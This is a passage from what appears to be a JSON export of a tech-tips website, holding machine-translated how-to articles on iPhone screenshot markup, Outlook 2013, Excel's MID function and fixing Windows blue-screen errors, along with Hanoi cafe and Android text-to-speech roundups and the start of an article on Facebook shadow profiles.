plus the Side button (Power) at the same time.\n  As soon as you hear the sound of the camera, the screen has been taken and a preview of the image will appear in the lower left corner of the screen. Touch the thumbnail preview quickly, as it only appears for about five seconds before disappearing.\n2. How to use Instant Markup   The screen shot will now be displayed in the Instant Markup interface, with the row of buttons located directly below and displayed from left to right as follows:\nPen: Allows you to draw on your screenshot with the width of the standard pen Marker: Same as above, but with the width of the usual marker Pencil: Same as above, but with pencil points Eraser: Delete all items with just one finger touch Lasso: With this tool, you can select any marker in the screenshot and move them to another place Color Swatches: Allows you to choose between white, black, blue, green, yellow or red On the far right of this row of buttons is a plus symbol inside a circle. Pressing this button will open a menu containing the following options:\nText: Place a text box in front of the screenshot, allowing you to resize and align text when choosing one of three fonts (Helvetica, Georgia, Noteworthy). Signature: Allows you to sign with your finger or a stylus and place it anywhere on the screen shot Magnifier: Enlarge the areas specified by the user on the image Square Icon: Place a resizable square anywhere on the screen shot Circle Icon: Add resizable circles anywhere on screenshots Speech Bubble: Add one of four animated dialogue-style bubbles Arrow: Add adjustable arrows to the screenshot Undo and redo buttons are provided in the lower left corner of the editing screen. They can be used to add or remove previous edits.\n3. Save the image after using Instant Markup   When satisfied with the screen shot that you marked and you want to store it in the photo album, first click the Done button in the upper left corner. When the pop-up menu appears, select the Save to Photos option .\n4. Share photos in Instant Markup   If you want to share your edited image via email, social network or other media, select the share button (the square with the up arrow) in the upper right corner of the screen. The iOS sharing panel will appear, prompting you to choose from a number of different applications and options.\nSee more:\n18 tips for screen capture tool on iOS 11 you should not ignore How to take screen shots of iPhone 7, iPhone 7 Plus? How to edit Live Photos on iOS 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqutKtmKesXaKus7fUqWStp12asarAjKyaq52Vo8Cpu9OsZKimXZ69qbvNng%3D%3D\n","link":"/post/how-to-use-instant-markup-to-edit-screenshots-on-iphone/","section":"post","tags":null,"title":"How to use Instant Markup to edit screenshots on iPhone"},{"body":" This wikiHow will teach you how to use the Windows 10 tools to remove all data from your hard drive. Plug your computer into a power supply. If you're using a laptop, you'll want to make sure you don't run out of battery power during this...\n David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BZpbJurYyhmKucXZm2t7GMoqVmr5mjsbDD0mZoaQ%3D%3D\n","link":"/post/how-to-wipe-a-hard-dive-in-windows-10/","section":"post","tags":null,"title":"How to Wipe a Hard Dive in Windows 10"},{"body":"Outlook 2013 is no stranger to many users. But how to use Outlook 2013 effectively, not everyone knows. With tips on how to use Outlook 2013 below, make sure you will master this application more easily.\nBasically, using Outlook 2013 is not much different from previous versions of Outlook. But there are some new features added that make the user experience on Outlook better.\n  Outlook 2013 interface\nTrick for Outlook 2013 Change the reply window - forward Change the temperature measurement unit in Outlook 2013 Change the content preview mode Change Font and color of unread messages Add borders between emails Change the reply window - forward   By default when you reply or forward an email in previous versions, a new window will open. However, with Outlook 2013, when you click reply / forward a message from within the reading window, it will be converted to the answer frame as the position of the reading frame. Many users may not like the reply window like this, want to return to the answer frame in a new window, make some changes as shown below to revert to the old style.\n  From the Outlook 2013 interface, access the options sheet by going to File / Options . Go to the Mail tab, scroll down under Replies and forwards . Remove the checkmark from the Use inline replies line when replying or forwarding . Finally click OK and return to check the results. From here when you click on the reply or forward button, it will be taken to a separate window like the previous versions. Note that when you create a new message, it will still open with a new window by default, the customization here will only work when you reply or resend any content.\nChange the temperature measurement unit in Outlook 2013 An interesting feature in Outlook 2013 is the display of weather temperature information located at the top of the calendar table. And by default the weather information is displayed in New York and it does not depend on the configuration time zone in Outlook. Click the arrow next to the location and select Add location and enter the location to enter. This tool is very useful when you plan for programs and events. For example, you can preview the weather of the following days before planning a certain program or event and certainly the day has a good temperature, it is not raining or murky. However, by default, weather information is displayed in degrees Fahrenheit - a temperature unit rarely noticed or used by Vietnam. To switch to a unit of normal temperature C, follow a few simple steps.\n  From the Outlook window, access the options panel by going to File / Options . Go to the Calendar tab and scroll down to the bottom of the page to find the weather modifier - Weather . You switch to display in C (Celsius) by selecting it and then clicking OK . Weather settings will change from F to C immediately.\n  Change the content preview mode By default Outlook will display a description line of each email so users can preview and find emails easily. This feature is very good but can reveal a bit of sensitive information inside those emails that you don't want others to see. If you need security, you can turn off the preview in Outlook, and if you want to expand the content of the message you need to preview, you can add it.\n  Users must identify the convenience and security in Outlook 2013. Besides the privacy settings that exist from previous versions of Outlook, Outlook 2013 allows users to disable preview information for the content of message . Changing this mode is simple, from the Outlook 2013 interface, you go to the View tab. On the View tab -\u0026gt; select Messenge Preview , click on it to expand the menu. And by default this option is set to 1 line - meaning that a description line will be displayed for the email you can see without opening it. If you want to disable this feature, select Off or vice versa if you want to preview the email content, you can choose 2 lines or 3 lines.\n  When selecting the display change, Outlook will ask if you want to apply to the current folder or all emails in the message. Just choose 1 of the 2 you want and then the process will start. The change will be like this, here the author performs with the process of turning off and displaying 3 preview lines.\n  Change Font and color of unread messages By default in Outlook 2013, the unread items will have a green notification and be bolded. However, it is still difficult to detect for those who are unfamiliar. To simplify the search to see incoming messages, users can customize the text color change or change the display Font for unread messages.\nFor Outlook, the default display for messages is black text on a white background. And new unread messages will be bold but only displayed in the description. To highlight new messages, users can often change colors or fonts for these emails.\n  At the Outlook interface you are using, switch to the View tab and select View Settings within this View tab. In the View Settings window, find and select the Conditional Formating button. At the options window, select Unread messenges , then click the Font button to change the font, style and color displayed for unread messages.\n  This option will allow users to change the font color to many different types of messages such as unread messages, group messages .\n  Add borders between emails In the Outlook 2013 version, by default, the inbox messages show up on a white background without any separators between emails. This makes it more difficult to find and manage email in Outlook. However, users can change the default settings in Outlook, and optionally display separators between emails, which will help improve visibility by allowing users to distinguish between Email is easier.\n  From the user interface of Outlook, switch to the View tab, then click the View Settings button.\nFrom the View Setting window , click Other Settings . this option allows you to change the Font Font and display the tags in Outlook. From the Grid Lines and Group Heading section , click on the style change of the display line. There are 4 options for displaying separators including: Small dots - small dots; Larget dots - big dots; Dashes - dashes, Solid - fixed lines (solid). At the end, click OK to save the settings.\n  Outlook will display a range of delimiters that separate boundaries between emails. Below are pictures for each different type.\n  Hopefully with these Outlook 2013 tips, you will find it more interesting to work with your mailbox.\nExplore more:\nInstructions for adding Gmail accounts to Outlook 2013 and 2016 using IMAP Instructions to add Gmail to Outlook 2013 via POP protocol ncG1vNJzZmismaXArq3KnmWcp51kwLC5xGaroqijYrOwvoyorK2kn6S4bn6Pamo%3D\n","link":"/post/some-tips-for-outlook-2013/","section":"post","tags":null,"title":"Some tips for Outlook 2013"},{"body":"The MID function in Excel is a function of the Text function group, you use the MID function if you want to cut the string in the middle of the text string when processing the string. If you do not know or do not understand the MID function, you can refer to the article on how to use the MID function with the example illustrated below.\n  Here the article shares to you the description, syntax and examples of using the MID function, invite you to follow along.\nMID function description The MID function is a function that cuts the string in the middle, returning a specific number of characters from a text string, and the position to cut the string will be specified by you.\nThe MID function always counts each character as 1, whether it's a single byte or a double byte, regardless of the default language setting?\nMID function syntax = MID (text; start_num; num_chars)\nInside:\nText is a required argument, this is the text string containing the characters you want to retrieve. start_num is a required argument, this is the position of the first character you want the MID function to take in the text string. num_chars is a required argument, this is the number of characters you want the MID function to return starting at the position start_num. Note\nIf num_chars ( num_chars is a negative number), the MID function returns the #VALUE! Error value. If start_num , the MID function returns the @VALUE! Error value. If start_num is greater than the text length, the MID function returns blank text (''). If start_num is smaller than the text length, but start_num plus num_chars is greater than the text string length, the MID function returns from start_num to the last character of the text. MID function example Example 1: Use the MID function to extract 3 characters in the string 'MID function in Excel' starting at position 5.\nYou can enter the string directly into the MID function, where start_num is 5 and the number of characters cutting num_chars is 3.\n= MID (\"MID function in Excel\"; 5; 3)\n  Or you can refer to the cell containing the string to extract.\n  Example 2: Combine MID function with VLOOKUP, LEFT and IF functions to handle the following data table.\n  How to handle unit price:\nUsing VLOOKUP to search for the 2 characters to the left of the order code (using LEFT) to look up in the Retail / Wholesale Price Table, the return value of the VLOOKUP function you use the IF function if the 4th character in the code If the order is S, then the corresponding value in column 3 of the Price List will be returned. If L (other than S) is returned, the corresponding value in the fourth column of the Price Table will be returned. In terms of the IF function you need to split the fourth character of the order code is S or L. If you do not understand the VLOOKUP function, you can see more about using the VLOOKUP function here http://TipsMake.vn/ham-vlookup-in-excel/\nSpecifically, you enter the following function formula in cell E6\n= VLOOKUP (LEFT (B6; 2); A16: D19; IF (MID (B6; 4; 1) = \"S\"; 3; 4); 0)\nInside:\nLEFT (B6; 2) returns the first 2 characters in the order code, these 2 characters are the strings to search. A16: D19 is the detection table, which is the wholesale / retail price list. IF (MID (B6; 4; 1) = \"S\"; 3; 4) This IF function will return a value of 3 or 4, which is the position of the column that returns the corresponding data in the lookup table. 0 is the correct detection type.   Next, if you want to copy the Vlookup function formula with LEFT, IF, MID, then when you enter the Vlookup formula to the wholesale / retail price list A16: A19, press the F4 key to fix this table space. Now the Vlookup function will look like this:\n= VLOOKUP (LEFT (B6; 2); $ A $ 16: $ D $ 19; IF (MID (B6; 4; 1) = \"S\"; 3; 4); 0)\n  You just need to copy the formula.\n  To calculate the Thanh Tien column, you only need to use the * operator to multiply the Sales SL by the Found Unit Price and copy the formula down to the cells below. So your data sheet has been processed.\n  Thus the article has shared syntax, for example, how to use the MID function in Excel. Hopefully through this article, you will better understand the MID function. You can flexibly combine the MID function with other functions so you can get the most out of it. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKagnWWWqrukwMiopWahnmKyua%2FEpWShp6diwbB51KycZqyYmnqutcNmna6mk6m2sLqMmqWdZZWtrq68y56q\n","link":"/post/the-mid-function-in-excel-how-to-use-the-mid-function-and-examples/","section":"post","tags":null,"title":"The MID function in Excel, how to use the MID function, and examples"},{"body":"Here are the top 10 nice cafes in Cau Giay area for you to refer to if you are looking for a place to relax after stressful working hours, a place to gather friends or simply check in. with very nice pictures.\nUnited Embassy\nAddress: Số 20h ngõ 165 Cầu Giấy, Quan Hoa, Cầu Giấy, Hanoi. Opening / closing hours: 8am - 10:30 pm. Facebook: https://www.facebook.com/hoadaiquan165/ The shop has a very young and modern decoration style. Flower shop not only has a nice view but also quite good food and especially the price is at a good level.\nThe menu of the restaurant is quite diverse, from traditional coffee, tea, juice, matcha to salty foods such as fried rice, fried chicken, bread . So, coming to Dai Hoa Quan, you do not only have a place to The cafe talks to friends but can also have lunch or dinner.\nLofita - Love At First Taste\nAddress: Số 01 Hồ Tùng Mậu, Cầu Giấy, Hà Nội (Opposite Hanoi National University - Phạm Văn Đồng Gate) No. 11 Tu Mo, Cau Giay, Hanoi Opening / closing hours: 8am - 11pm Facebook: https://www.facebook.com/lofita.hotungmau/ Lofita Ho Tung Mau has a modern decoration space, filled with greenery of trees and with views overlooking Pham Van Dong Street. Tables and chairs are arranged ton-sur-ton, any corner you can also live virtual.\nLofita's menu is quite diverse, from tea, coffee, fruit juice, ice cream, cakes, sunflower, raisins, cashews . to luxurious afternoon tea set. The price of the items at too is also very affordable.\nGara Fun Cafe\nAddress: Số 5 Trần Kim Xuyến, Cầu Giấy, Hanoi. Opening / closing hours: 07h - 22h30. Facebook: https://www.facebook.com/GaraFun-Cafe-866057410140571/ Gara Fun Cafe is a project of the Otofun forum management board, with a unique and cool atmosphere. The principle of operation of the shop is prestige - quality - reasonable price.\nThe space at Gara Fun Cafe is a harmonious combination between the elegant architecture of a European cafe and the youthful and dusty revolution of a car repair shop. Everything in the restaurant, from furniture to decorative motifs, is shaped like a four-wheel vehicle.\nEspecially in the evening, the casual, close music space makes Gara Fun Cafe become warmer. Here, you can express your passion, sing for friends and relatives.\nCup of Tea Cafe \u0026amp; Bistro\nAddress: 317 Nguyen Khang, Yen Hoa, Cau Giay, Hanoi. Opening / closing hours: 07h - 22h30. Facebook: https://www.facebook.com/cupofteavn/ Cup of Tea Cafe \u0026amp; Bistro or COT is designed with Western style. The main color is the white tone with the fresh green color of flowers and decorative plants, bringing a very gentle, integrated space with fun stories while enjoying tea.\nThe menu and drinks are not very rich and the price is a bit high but in return, the quality is very ok. At Cup of Tea Cafe \u0026amp; Bistro, every corner is a virtual living space.\nLau Cafe\nAddress: 86 Tran Quoc Hoan, Dich Vong Hau, Cau Giay, Hanoi. Opening / closing hours: 07h30 - 23h. Facebook: https://www.facebook.com/laucafevn/ Lau Cafe has a gentle and slightly vintage design style, combined with gentle, melodious melodies from love songs to make the space here become more calm. The harmonious combination of tables and chairs, pillows and plants with the mahogany brown design of the wood makes you feel like you are sitting in a small and warm wooden house in Northern Europe.\nThe staff of the restaurant is thoughtful, gentle and friendly, so even though the drink is not too special, it is still a destination for many people.\nNew Style Cafe\nAddress: 161 Tô Hiệu, Dịch Vọng, Cầu Giấy, Hanoi. Opening / closing hours: 6:30 - 23:00. Facebook: https://www.facebook.com/Newstyle-C%C3%A0-ph%C3%AA-405606349534737/ New Style Cafe is located opposite Nghia Tan Secondary School, with both indoor and outdoor spaces. The space is beautifully designed, lots of trees, quiet space. However, sometimes on weekends, the bar organizes football shows, so those times are more crowded and bustling than usual.\nStarbucks Coffee\nAddress: 241, Xuan Thuy, Cau Giay, Hanoi. Opening / closing hours: 7am - 10pm   Starbucks Coffee is a brand that is familiar to many people. The shop has both outdoor and indoor spaces. However, because it is located right on the road, it is quite dusty and noisy during rush hour. The quality of drinks and service here are quite good.\nTrinh Music Cafe\nAddress: 101 Trung Kinh, Trung Hoa, Cau Giay, Hanoi. Opening / closing hours: 6am - 11pm This is a cafe specializing in Trinh music. The space in the restaurant is large, quite peaceful, slightly dark to create a warm feeling, soothing music is easy to calm and soothe the sad mood.\nFor live music days, there will be an additional charge.\nMelody Cafe\nAddress: 9 Alley 132, Cau Giay, Quan Hoa, Cau Giay, Hanoi. Opening / closing hours: 8am - 10pm Facebook: https://www.facebook.com/MelodyMaidCafe/ Melody Cafe is a 'paradise' for those who love manga and anime. Here, dozens of comic books lined up carefully on shelves to satisfy your taste. The space is quite nice, the drinks and food are good, the service quality is good.\nEnd Lane Cafe\nAddress: Số 4, ngõ 78, ngõ 68, Cầu Giấy, Hà Nội. Opening / closing hours: 7:30 am - 10:30 pm Facebook: https://www.facebook.com/cuoingocafe/ End Lane Cafe is a peaceful place in the heart of crowded and busy Hanoi. Everything from green moss gate, garden to tables and chairs, curtains, paintings have a moss look full of ancient and loving. At End Cafe, you will have a space separate from the hustle and bustle of daily life to relax, immerse yourself in a quiet, peaceful space.\nThe drinks are quite delicious, beautifully decorated but a bit expensive compared to the general premises.\nThe most beautiful and attractive flower seasons in Vietnam should check in once in a lifetime ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVlsK1tcWuo2abkZuytHnIp2ScmaVitKqt2GaYq52RYrGmuMicoKito2Kxs7XNpKpmrJmnsqV5x5qlnatdpbWwwM6gqZqomJqx\n","link":"/post/top-10-beautiful-cafes-in-cau-giay-area-delicious-drinks-tired-hands-photographed/","section":"post","tags":null,"title":"Top 10 beautiful cafes in Cau Giay area, delicious drinks, tired hands photographed"},{"body":"Reading small text on a mobile screen is never an enjoyable experience. Especially when you are using an Android device whose screen is too bright or the screen is too dark. In addition, visually impaired or elderly people may also have difficulty reading websites, ebooks, PDFs and other files. In those situations, you can use text-to-speech applications to listen to text files, ebooks and websites. And in this article TipsMake.com will introduce to you some of the best text-to-speech software for Android phones, please refer.\n  1. Google Text-to-Speech Download link: https://play.google.com/store/apps/details?id=com.google.android.tts\u0026amp;hl=en\n  Google Text-to-Speech is a text-to-speech application of Google and it is built into every android phone. Google's Text-to-Speech feature allows applications to read text aloud on your screen. For example, this feature can be used by: Google Play Book to 'Read aloud' your favorite book, Google Translate to read the translation aloud so you can hear the pronunciation of a word, TalkBack and other Accessibility apps to read feedback on your device and more. In addition, this application also supports many different languages ​​and of course, Vietnamese. This is generally a very well rated user app that you should try to use once.\n2. Talk Free Download link: https://play.google.com/store/apps/details?id=com.ktix007.talk\n  Talk Free is another popular and minimalist text application. Using your internet connection, Talk Free can convert text in multiple languages. Keep in mind that Talk Free uses the built-in Google Text-to-Speech engine. If you turned it off or uninstalled, you need to install or enable it before you can use Talk Free. Generally, most Android devices have Google Text to Speech installed and turned on. So for the most part, you don't have to worry about that.\nAlso, because Talk Free uses the built-in TTS Engine, you need to change that tool's settings to modify pitch or voice. Alternatively, you can enter text or read web pages directly from the application. For offline and sharing purposes, you can save your speech as a WAV file.\n3. Narrator's Voice Download link: https://play.google.com/store/apps/details?id=br.com.escolhatecnologia.vozdonarrador\n  Narrator's Voice translates to a narrator's voice and, as the name implies, this application allows us to turn text into voice with a variety of voice options. By default, Narrator's Voice uses regular voice while converting text into voice. However, you can add different voice effects such as echo, reverb, gargle, compressor, chorus, etc. Of course, you can also choose between a variety of voices like Cortana, Zira, Steven. , etc., no internet connection required. But with special voices like Goku, Charmander, Articuno, etc., it requires you to have an internet connection to work.\n4. T2S: Text to Voice Download link: https://play.google.com/store/apps/details?id=hesoft.T2S\n  T2S is a text-to-speech application that possesses the most modern interface among the applications mentioned in this article. The standout feature of the application is the presence of a simple integrated web browser. The number of features it offers is not overwhelming, but it allows you to easily listen to websites without having to worry about copying and pasting URLs or using the Share menu. The copy-to-speak feature of T2S is also quite good. It displays popup button on screen whenever you copy text in other apps. Pressing this button will make the application start reading the copied text immediately.\n5. Voice Aloud Reader Download link: https://play.google.com/store/apps/details?id=com.hyperionics.avar\u0026amp;hl=en\n  Like all text-to-speech applications on the list, you can not only read web pages from browsers but also support all other text formats - TXT, PDF, DOC, DOCX. , RTF, OpenOffice documents, EPUB, MOBI, PRC, AZW and FB2 eBooks, etc. You can increase or decrease the playback speed. Some people have tried to listen to some really long posts (almost like a book) with Voice Aloud Reader and it works fine. You can pause and play the sound even after a day. And if you have a habit of listening to articles before going to bed, the good news is, this app also comes with a night mode and a sleep timer.\nAbove are 5 best text-to-speech applications for android that TipsMake.com introduces to you. Hopefully through the article you can choose for yourself the application that is suitable for your needs. Thank you for watching!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5krZ2oqcGwv8%2BenJygXai8p8DWmqmeZZ%2BjeqK6w6umopw%3D\n","link":"/post/top-5-text-to-speech-software-on-android/","section":"post","tags":null,"title":"Top 5 text-to-speech software on Android"},{"body":"Blue Screen Blue Screen Error (also known as dead blue screen error - Blue Screen Of Death or BSOD , or ' STOP error \"error ) is one of the most difficult to fix errors on the operating system. Windows The reason is because BSOD errors often occur suddenly, when the system crashes and there is no obvious cause (such as after hardware or software changes or when you try to open a tool somehow).\nThe cause of BSOD error is usually due to hardware problem: faulty RAM, HDD or VGA, faulty power supply (PSU), or overheating device. In the remaining cases, the cause of a blue screen error may be due to an error in the device driver or a mistake or an unauthorized intrusion of malware.\n  So how to fix BSOD error on Windows 10, 8.1. 8, 7 and Windows Vista. Please refer to the following article of Network Administrator.\nFix BSOD blue screen error 1. Note when fixing BSOD errors on Windows 10 / 8.1 / 8/7 / Vista 2. Kill viruses and malware on the system to fix blue screen errors 3. Perform Clean Boot (clean boot) to fix BSOD error 4. How to fix blue screen death error with WinDbg 5. How to fix the dead blue screen error with BlueScreenView 6. Use SFC Scannow to fix system files 7. Uninstall and reinstall important device drivers 8. Uninstall antivirus software 9. Use System Restore to restore Windows to a previous restore point 10. Some other solutions 1. Note when fixing BSOD errors on Windows 10 / 8.1 / 8/7 / Vista Before taking steps to fix the BSOD error, follow the steps below:\n1. Disconnect all connected devices from outside the system (such as USB drive, Flask Disk, printer, .).\n2. Make sure you do not change hardware or software:\nIf you recently changed hardware on your computer (such as adding more RAM, changing VGA cards), or have you installed a new or partial hardware device driver New software (eg Antivirus), this is probably the cause of BSOD's blue screen error.\n3. Make sure your device and computer do not overheat. Check the system's hardware temperature (CPU, memory, GPU) is normal and not too hot.\nTo do this, you can use the CPUID utility HWMonitor. If the computer is too hot, you need to clean the computer, clean the dirt inside to avoid high temperatures and operating system problems.\n4. Make sure your RAM and HDD (hard drive) are 'stable': In many cases, the cause of the BSOD blue screen error may be a faulty RAM or hard drive. Therefore you should diagnose system memory (RAM) and hard drive to fix the error.\nIn addition, readers can refer to the steps on how to check and detect RAM and hardware problems on your Windows computer here.\n2. Kill viruses and malware on the system to fix blue screen errors Before taking the next steps, make sure your computer is 100% clean, without any traces of malicious programs like rootkits, malware and viruses.\nReaders can refer to some of the most effective anti-virus software and programs for Windows that TipsMake.com has compiled.\nAfter removing all traces of the virus from the system, try booting Windows normally to see if the BSOD error still appears. If the error persists, follow the steps below.\n3. Perform Clean Boot (clean boot) to fix BSOD error The next solution to fix BSOD errors is to disable all non-Microsoft services that are running automatically with Windows startup. To do this thing:\n1. Press the Windows + R key combination to open the Run command window.\n2. On the Run command window enter msconfig into it and press Enter to open the System Configuration utility window.\n  3. On the System Configuration window, at the Services tab, select the Hide box for all Microsoft services.\n  \n4. Click the Disable All button to disable all services (services) other than Microsoft running on Windows Startup.\n5. Click OK to apply the change and start your computer normally.\n  6. After the computer has finished booting:\n- If your computer is working properly and there is no BSOD error, open the System Configuration window again and activate each service that you have disabled. Then find out what service is causing the BSOD blue screen error.\n- If the BSOD error still exists, follow the steps below.\n4. How to fix blue screen death error with WinDbg WinDbg is a powerful tool that you can use to find the root cause of a deadly blue screen error.\nInstall Windows 10 SDK\n  Go to the Windows 10 SDK download page. Windows 10 SDK contains many tools, including Windows Performance Toolkit, Debugging Tool for Windows, the .NET Framework Software Development Kit and other development tools. Follow these steps:\n1. Click Download the Installer button . After downloading, run the installer.\n2. When the Windows 10 SDK installer opens, select the first option to Install the Windows Software Development Kit to install the Windows SDK for the computer. You should keep the default installation path.\n3. Select Next to continue and accept the software license. On the next page, uncheck all options in Debugging Tools for Windows .\n4. Then click Install.\nOpen and configure WinDbg\nOpen the Start menu and go to Windows Kits\u0026gt; WinDbg . Select the appropriate version for the system: 32 or 64 bit. For example, in an article that is running on a 64-bit system, WinDbg X64 will be selected.\nNow, you need to find the BSoD memory dump section. This dump contains information related to problems, such as 'cause' and 'location' .\nThere are two types of BSoD main dump memory: Full dump and minidump. Typically, a minidump is usually smaller but contains more information than a full dump.\n1. Users will find the minidump log in their root directory, usually C: WindowsMinidump. In this directory, you will find the actual minidump log.\n2. Besides, full dump is found at C: Windowsmemory.dmp.\nFor this tutorial, the author will analyze a minidump.\nGo back to WinDbg. First, you need to set a source of icons. Icons are basically identifiers for programming languages ​​related to specific information. They make it easier to analyze the information found in the log (or code).\n  Go to File\u0026gt; Symbol File Path , then copy and paste the following information:\nSRV*c:websymbols*http://msdl.microsoft.com/download/symbols  Then click OK.\nCrash crash analysis in WinDbg\nDrag and drop the dump file into WinDbg, or press Ctrl + D to open the file browser, then locate the dump file. When the dump file is loaded, you will see the initial analysis screen. It will look similar to the following:\n  There are two things to consider from this screen: BugCheck and Probably caused by schools. Here, everything becomes clearer:\n  BugCheck 1A is the error code Probably caused by: memory_corruption (ONE_BIT) immediately provides users with information about the current issue. In this case, you know that memory errors are the cause of BSoD.\nYou can take the analysis one step further with the WinDbg commands. In this case, the ! Analyze -v command (highlighted in blue in the image above) will display detailed information regarding BSoD. There is an order link in Bugcheck Analysis section . However, this link sometimes does not appear. If there is no link, enter the command in the field at the bottom of the WinDbg window.\nThe command performs a large amount of automated analysis. WinDbg displays the results in the new BugCheck Analysis section. The amount of information given by WinDbg seems too much. In this case, you just need to search for some key information to make an assessment of BSoD.\nThe direct parameters in the new BugCheck Analysis section provide another set of useful information. For example, in the example below, you can see the error identified as Memory_Management (1a). In addition, the Arguments (Arguments are basically information parameters) will expand more information.\n  Arg1 indicates ' A corrupt PTE has been detected .' (A corrupted PTE has been detected), and explains that ' Parameter 2 contains the address of the PTE. '(Parameter 2 contains the address of PTE).\nNow, users will know that PTE stands for Page Table Entry, so this error can be related to virtual memory and can start fixing your BSoD errors there. However, there are many errors that users do not know.\nIn those cases, try searching for information on the Internet. Make combinations of initial error code and additional argument information to see if other users have similar problems. In many cases, the system error you encounter may be new and no one has ever had this error. Similar BSoD errors will affect others too, so rest assured that you are not alone.\n5. How to fix the dead blue screen error with BlueScreenView WinDbg is a powerful toolkit. You can use it for all file and dump analysis. However, many users do not need the entire analysis tool that WinDbg provides. If that sounds like your case, then BlueScreenView from Nirsoft is exactly what you need.\nIt analyzes dump and minidump files similar to WinDbg but streamlines information. You can search for that streamlined information on the Internet and start your BSoD troubleshooting process from there.\nThis is how it works:\nGo to BlueScreenView and download the program. After downloading, install BlueScreenView and open the program after installing.\nHere, you will see BlueScreenView very handy. It automatically downloads any minidump found in the MiniDump folder. Then you can sort the dump by Crash Time to find the latest BSoD. In the image below, you see the version of BlueScreenView of the dump file analyzed in the WinDbg section.\n  The main difference is the layout and easy finding of BSoD information. The Bug Check String, Bug Check Code and Parameter sections are similar. BlueScreenView also identifies the ntoskrnl.exe driver as the root of BSoD.\nAs with WinDbg, you can now search the Internet with your BSoD information.\n6. Use SFC Scannow to fix system files The next solution is to run the System File Checker tool (SFC) to repair corrupted files and services (systems) on the system. To do this thing:\n1. Open Command Prompt under Admin.\nTo do this thing:\n- On Windows 7 and Windows Vista: Access Start =\u0026gt; All Programs =\u0026gt; Accessories . Find and right-click Command Prompt and select Run as administrator.\n- On Windows 10, 8.1 and Windows 8: Right-click the Start button, then select Comamnd Prompt (Admin).\n  \n2. On the Command Prompt window, enter the following command and press Enter:\nSFC / SCANNOW\n  3. Wait and do not use your computer until the SFC tool checks and corrects corrupted system files and service (service).\n4. When the process is finished, restart your computer and check if the BSOD error is still there.\nIf the error persists, follow the steps below.\n7. Uninstall and reinstall important device drivers Proceed to uninstall and reinstall the device's important drivers to find out where the drivrer is causing the BSOD error. In some cases the cause of a BSOD error may be the driver on the device. Here are 3 drivers that are considered to cause BSOD errors:\n1. Display Adapter Driver\n2. Wireless Adapter Driver\n3. Ethernet Adapter Driver\nTo do this thing:\n1. Proceed to remove the first driver on your device (the driver is on the list above).\n2. Restart your computer.\n3. Download the latest driver version from the manufacturer website.\n4. Restart your computer again.\n5. After the computer has finished booting, check if your computer is working properly, there is a BSOD error. If the error persists, perform the same steps with the remaining two drivers.\nNote:\nIn some cases, especially Video Cards, it is better to download the older version and the driver will be more stable on the hard drive.\n8. Uninstall antivirus software The next solution is to remove any antivirus or security software that you have downloaded and installed on the system. In case if you use Microsoft Security Essentials (Windows 7 or Windows Vista) or Windows Defender (on Windows 10 and Windows 8) as an antivirus program on your system, then you will have to prevent similar services. Apply on Windows Startup using the Registry. To do this thing:\n1. Start your Windows computer in Safe Mode.\nReaders can refer to some ways to start your Windows computer in Safe Mode here.\n2. Next press Windows + R key combination to open the Run command window.\n3. On the Run command window, enter regedit there and press Enter or click OK to open the Windows Registry Editor window.\n  4. On the Windows Registry Editor window navigate to the following key to open the antivirus program you use:\n- Microsoft Essentials:\nHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMsMpSvc\n- Windows Defender:\nHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinDefend\n5. In the right pane, find and double-click to open the value Start .\n6. Select Decimal and change the value in the Value Data frame from 2 to 4 then click OK.\n  * Service State value:\n0 = Boot\n1 = System\n2 = Automatic\n3 = Manual\n4 = Disabled\n7. Restart your computer again and log on to Windows normally.\n- If your computer is functioning properly and there is no BSOD error, then you can download and reinstall the antivirus software and program again.\n- If the BSOD error still exists, follow the steps below.\n9. Use System Restore to restore Windows to a previous restore point In some cases the BSOD blue screen error appears immediately after Windows update or after automatically updating the hardware driver. In order to fix the BSOD error, the solution for you is to restore the system to the previous version. To do this thing:\n1. Press the Windows + R key combination to open the Run command window.\n2. On the Run window, type rstrui (or rstrui.exe ) there and press Enter or click OK to open the System Restore utility.\n  3. On the first screen, click Next.\n4. Select the proposed restore point or select Show more restore points to select an older restore point and click Next.\n  \n5. Follow the instructions on the screen and wait for Windows to restore your computer.\n6. After the restore process is finished, restart your system.\n7. If the System Restore process is successful, the BSOD error will also disappear.\n10. Some other solutions 1. Install all important Windows Upadte versions.\n2. Install the latest driver version for all peripheral devices (printers, scanners, .).\n3. Back up files and perform a new Windows installation.\nRefer to some of the following articles:\nGuide to quickly fix \"Inaccessible Boot Device\" error on Windows 10/8/7 and Windows Vista Summary of some ways to fix Windows 10 crash, BSOD error and restart error How to create a blue screen of death (BSOD) to \"prank\" friends Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWWnsVurtKom2aanKqybr%2FCq5yepl2av7O70Q%3D%3D\n","link":"/post/ways-to-fix-bsod-blue-screen-error/","section":"post","tags":null,"title":"Ways to fix BSOD blue screen error"},{"body":"Everyone knows that Facebook collects personal data, but the shadow profile is one of the more intrusive methods that the social network uses.\nIn short, a shadow profile means that even if you never use Facebook, this site may have information about you.\nSo, to help you maintain your privacy, in this article, TipsMake.com will explain what Facebook shadow profiles are and what you can do about them.\nWhat is the Shadow profile on Facebook? Facebook creates a shadow profile without your knowledge or consent The shadow profile is not something you created yourself. Instead, Facebook creates a shadow profile without your knowledge or consent.\nSuppose you do not have a Facebook account. However, one of your friends has created an account on this social network. Facebook offers them a special service where they can import contacts to find friends already on the service.\nThat friend thought this was a great idea, so they entered the contact list into Facebook. Facebook can then look through the contact details and let that person know any friends who have created an account.\nHowever, while scanning the list, Facebook will find contact information for people who have never signed up, including you. Ideally, Facebook will understand that you have not registered an account and will not touch that information.\nInstead, Facebook will create a shadow profile, allowing it to store your personal data. This happens without your consent.\nThus, even if you claim never to use Facebook, the service can still know your name and contact details. If you have friends who use and import contacts to Facebook, you can never be sure that Facebook doesn't have your information.\nWhile Facebook allows you to download the data it has about you, this is only possible at the moment, if you have a Facebook account. As such, you need to give up more personal information to view your profile, and that's not an ideal tradeoff.\nHow do I know if Facebook has created a shadow profile? Facebook discovered there was a communication leak during 2013 Unfortunately, Facebook's shadow profile is not just a rumor 